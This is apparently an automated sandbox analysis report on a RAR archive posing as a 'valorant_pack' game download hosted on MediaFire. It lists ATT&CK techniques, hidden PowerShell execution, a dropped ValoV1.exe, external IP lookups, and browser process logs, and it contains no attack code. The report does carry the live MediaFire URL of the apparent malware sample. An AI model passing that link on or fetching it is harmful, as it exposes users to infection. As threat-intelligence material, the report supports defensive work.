hxxps://www[.]mediafire[.]com/file/v5b1na3vzfv4el4/valorant_pack[.]rar

Analysis

user interaction
yes
max time kernel
102s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/06/2026, 03:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://www.mediafire.com/file/v5b1na3vzfv4el4/valorant_pack.rar
Sample260601-ehel7ab13w

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2736	powershell.exe
5364	powershell.exe
4908	powershell.exe
3468	powershell.exe
4712	powershell.exe
4156	powershell.exe
5828	powershell.exe
2852	powershell.exe
1260	powershell.exe
1324	powershell.exe
6020	powershell.exe
5084	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3108	ValoV1.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
421	api.ipify.org
422	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4492	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134247597904063771"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-204488895-2999877624-296153668-1000\{7EEC27AA-B1C1-4959-A947-F6F71E0ED031}	msedge.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
1324	powershell.exe
1324	powershell.exe
1324	powershell.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe
6020	powershell.exe
6020	powershell.exe
6020	powershell.exe
5084	powershell.exe
5084	powershell.exe
5084	powershell.exe
2736	powershell.exe
2736	powershell.exe
2736	powershell.exe
5364	powershell.exe
5364	powershell.exe
5364	powershell.exe
4156	powershell.exe
4156	powershell.exe
4156	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe
3468	powershell.exe
3468	powershell.exe
3468	powershell.exe
5828	powershell.exe
5828	powershell.exe
5828	powershell.exe
2852	powershell.exe
2852	powershell.exe
2852	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	1924	7zG.exe
Token: 35	1924	7zG.exe
Token: SeSecurityPrivilege	1924	7zG.exe
Token: SeSecurityPrivilege	1924	7zG.exe
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeIncreaseQuotaPrivilege	4712	powershell.exe
Token: SeSecurityPrivilege	4712	powershell.exe
Token: SeTakeOwnershipPrivilege	4712	powershell.exe
Token: SeLoadDriverPrivilege	4712	powershell.exe
Token: SeSystemProfilePrivilege	4712	powershell.exe
Token: SeSystemtimePrivilege	4712	powershell.exe
Token: SeProfSingleProcessPrivilege	4712	powershell.exe
Token: SeIncBasePriorityPrivilege	4712	powershell.exe
Token: SeCreatePagefilePrivilege	4712	powershell.exe
Token: SeBackupPrivilege	4712	powershell.exe
Token: SeRestorePrivilege	4712	powershell.exe
Token: SeShutdownPrivilege	4712	powershell.exe
Token: SeDebugPrivilege	4712	powershell.exe
Token: SeSystemEnvironmentPrivilege	4712	powershell.exe
Token: SeRemoteShutdownPrivilege	4712	powershell.exe
Token: SeUndockPrivilege	4712	powershell.exe
Token: SeManageVolumePrivilege	4712	powershell.exe
Token: 33	4712	powershell.exe
Token: 34	4712	powershell.exe
Token: 35	4712	powershell.exe
Token: 36	4712	powershell.exe
Token: SeDebugPrivilege	6020	powershell.exe
Token: SeIncreaseQuotaPrivilege	6020	powershell.exe
Token: SeSecurityPrivilege	6020	powershell.exe
Token: SeTakeOwnershipPrivilege	6020	powershell.exe
Token: SeLoadDriverPrivilege	6020	powershell.exe
Token: SeSystemProfilePrivilege	6020	powershell.exe
Token: SeSystemtimePrivilege	6020	powershell.exe
Token: SeProfSingleProcessPrivilege	6020	powershell.exe
Token: SeIncBasePriorityPrivilege	6020	powershell.exe
Token: SeCreatePagefilePrivilege	6020	powershell.exe
Token: SeBackupPrivilege	6020	powershell.exe
Token: SeRestorePrivilege	6020	powershell.exe
Token: SeShutdownPrivilege	6020	powershell.exe
Token: SeDebugPrivilege	6020	powershell.exe
Token: SeSystemEnvironmentPrivilege	6020	powershell.exe
Token: SeRemoteShutdownPrivilege	6020	powershell.exe
Token: SeUndockPrivilege	6020	powershell.exe
Token: SeManageVolumePrivilege	6020	powershell.exe
Token: 33	6020	powershell.exe
Token: 34	6020	powershell.exe
Token: 35	6020	powershell.exe
Token: 36	6020	powershell.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeIncreaseQuotaPrivilege	5084	powershell.exe
Token: SeSecurityPrivilege	5084	powershell.exe
Token: SeTakeOwnershipPrivilege	5084	powershell.exe
Token: SeLoadDriverPrivilege	5084	powershell.exe
Token: SeSystemProfilePrivilege	5084	powershell.exe
Token: SeSystemtimePrivilege	5084	powershell.exe
Token: SeProfSingleProcessPrivilege	5084	powershell.exe
Token: SeIncBasePriorityPrivilege	5084	powershell.exe
Token: SeCreatePagefilePrivilege	5084	powershell.exe
Token: SeBackupPrivilege	5084	powershell.exe
Token: SeRestorePrivilege	5084	powershell.exe
Token: SeShutdownPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeSystemEnvironmentPrivilege	5084	powershell.exe

Suspicious use of FindShellTrayWindow 49 IoCs

pid	Process
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
1924	7zG.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe
4444	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4444 wrote to memory of 4816	4444	msedge.exe	86
PID 4444 wrote to memory of 4492	4444	msedge.exe	87
PID 4444 wrote to memory of 4584	4444	msedge.exe	88
PID 4444 wrote to memory of 4584	4444	msedge.exe	88
PID 4444 wrote to memory of 4584	4444	msedge.exe	88
PID 4444 wrote to memory of 648	4444	msedge.exe	89
PID 4444 wrote to memory of 648	4444	msedge.exe	89
PID 4444 wrote to memory of 456	4444	msedge.exe	90
PID 4444 wrote to memory of 456	4444	msedge.exe	90
PID 4444 wrote to memory of 456	4444	msedge.exe	90
PID 4444 wrote to memory of 3352	4444	msedge.exe	91
PID 4444 wrote to memory of 3352	4444	msedge.exe	91
PID 4444 wrote to memory of 3352	4444	msedge.exe	91
PID 4444 wrote to memory of 2612	4444	msedge.exe	93
PID 4444 wrote to memory of 4104	4444	msedge.exe	94
PID 4444 wrote to memory of 2612	4444	msedge.exe	93
PID 4444 wrote to memory of 2612	4444	msedge.exe	93
PID 4444 wrote to memory of 4104	4444	msedge.exe	94
PID 4444 wrote to memory of 4104	4444	msedge.exe	94
PID 4444 wrote to memory of 3676	4444	msedge.exe	96
PID 4444 wrote to memory of 3676	4444	msedge.exe	96
PID 4444 wrote to memory of 3224	4444	msedge.exe	98
PID 4444 wrote to memory of 3224	4444	msedge.exe	98
PID 4444 wrote to memory of 4592	4444	msedge.exe	100
PID 4444 wrote to memory of 4592	4444	msedge.exe	100
PID 4444 wrote to memory of 4592	4444	msedge.exe	100
PID 4444 wrote to memory of 900	4444	msedge.exe	101
PID 4444 wrote to memory of 900	4444	msedge.exe	101
PID 4444 wrote to memory of 900	4444	msedge.exe	101
PID 4444 wrote to memory of 4680	4444	msedge.exe	104
PID 4444 wrote to memory of 4680	4444	msedge.exe	104
PID 4444 wrote to memory of 3356	4444	msedge.exe	105
PID 4444 wrote to memory of 3356	4444	msedge.exe	105
PID 4444 wrote to memory of 4712	4444	msedge.exe	106
PID 4444 wrote to memory of 4712	4444	msedge.exe	106
PID 4444 wrote to memory of 4712	4444	msedge.exe	106
PID 4444 wrote to memory of 752	4444	msedge.exe	107
PID 4444 wrote to memory of 752	4444	msedge.exe	107
PID 4444 wrote to memory of 2940	4444	msedge.exe	108
PID 4444 wrote to memory of 2940	4444	msedge.exe	108
PID 4444 wrote to memory of 2940	4444	msedge.exe	108
PID 4444 wrote to memory of 1404	4444	msedge.exe	109
PID 4444 wrote to memory of 1404	4444	msedge.exe	109
PID 4444 wrote to memory of 1404	4444	msedge.exe	109
PID 4444 wrote to memory of 4372	4444	msedge.exe	110
PID 4444 wrote to memory of 4372	4444	msedge.exe	110
PID 4444 wrote to memory of 824	4444	msedge.exe	111
PID 4444 wrote to memory of 824	4444	msedge.exe	111
PID 4444 wrote to memory of 4604	4444	msedge.exe	113
PID 4444 wrote to memory of 1792	4444	msedge.exe	114
PID 4444 wrote to memory of 4756	4444	msedge.exe	118
PID 4444 wrote to memory of 4756	4444	msedge.exe	118
PID 4444 wrote to memory of 5324	4444	msedge.exe	120
PID 4444 wrote to memory of 5324	4444	msedge.exe	120
PID 4444 wrote to memory of 5332	4444	msedge.exe	121
PID 4444 wrote to memory of 5332	4444	msedge.exe	121
PID 4444 wrote to memory of 5572	4444	msedge.exe	123
PID 4444 wrote to memory of 5572	4444	msedge.exe	123
PID 4444 wrote to memory of 5572	4444	msedge.exe	123
PID 4444 wrote to memory of 5648	4444	msedge.exe	125
PID 4444 wrote to memory of 5648	4444	msedge.exe	125
PID 4444 wrote to memory of 5648	4444	msedge.exe	125
PID 4444 wrote to memory of 5712	4444	msedge.exe	127
PID 4444 wrote to memory of 5712	4444	msedge.exe	127

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.mediafire.com/file/v5b1na3vzfv4el4/valorant_pack.rar
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x260,0x7fff5387c188,0x7fff5387c194,0x7fff5387c1a0
  2⤵
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1920,i,4682641157842692832,10832378304952935484,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1640,i,5020182169239498352,5812944414102215306,262144 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:2
  2⤵
  PID:4584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1980,i,3817123785031199699,2350915800246673710,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=2480 /prefetch:8
  2⤵
  PID:648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3436,i,14514471588346582402,1091241291639213790,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3440,i,11423804489990916948,1369465844816619573,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:1
  2⤵
  PID:3352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4220,i,16772645047030795624,7930239210507101787,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:1
  2⤵
  PID:2612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4236,i,7034884601381157617,14596910498326032293,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=4356 /prefetch:2
  2⤵
  PID:4104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3788,i,2871365214206881025,14805373543314873250,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=3640 /prefetch:8
  2⤵
  PID:3676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,12486040002452494037,8671921594427567874,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:8
  2⤵
  PID:3224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5432,i,936083208127508695,10540389329312298286,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:1
  2⤵
  PID:4592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5624,i,12227523530086060329,2342718177771785330,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=4840 /prefetch:1
  2⤵
  PID:900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5736,i,8712860178146206242,14905026191504612738,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5868 /prefetch:8
  2⤵
  PID:4680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5760,i,11144135297466645812,16040388661896777676,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:8
  2⤵
  PID:3356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6384,i,12693487730291355063,15420504293447819821,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=6400 /prefetch:1
  2⤵
  PID:4712
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6696,i,7873347763782592977,5065284334505821819,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=6736 /prefetch:8
  2⤵
  PID:752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6536,i,18246248346083675543,2912925180421432326,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=6772 /prefetch:1
  2⤵
  PID:2940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7076,i,16358966004517955282,13839866827401520506,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=6988 /prefetch:1
  2⤵
  PID:1404
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3788,i,9195868924769750309,13939029657961747110,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:8
  2⤵
  PID:4372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5184,i,1268282115262009774,6608690219324271224,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5128 /prefetch:8
  2⤵
  PID:824
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7088,i,14287833464436032884,13908547478688284768,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:8
  2⤵
  PID:4844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5604,i,18153409089844623706,1277560646165129473,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=7416 /prefetch:8
  2⤵
  PID:4604
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7088,i,14287833464436032884,13908547478688284768,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5172 /prefetch:8
  2⤵
  PID:1792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7636,i,14619125311660141799,9357796827376267201,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=7768 /prefetch:8
  2⤵
  PID:4756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7684,i,12057640151583705749,11599323510793021479,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=7512 /prefetch:8
  2⤵
  PID:5324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7580,i,5883268580794099206,17567446590373100573,524288 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=7740 /prefetch:8
  2⤵
  PID:5332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=7684,i,10363549279633791527,17745472048254750130,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=7648 /prefetch:1
  2⤵
  PID:5572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=7076,i,3950801777853267734,8373854948658015178,2097152 --field-trial-handle=2208,i,12296048043377299544,16740759637342536743,262144 --variations-seed-version --mojo-platform-channel-handle=5788 /prefetch:1
  2⤵
  PID:5648
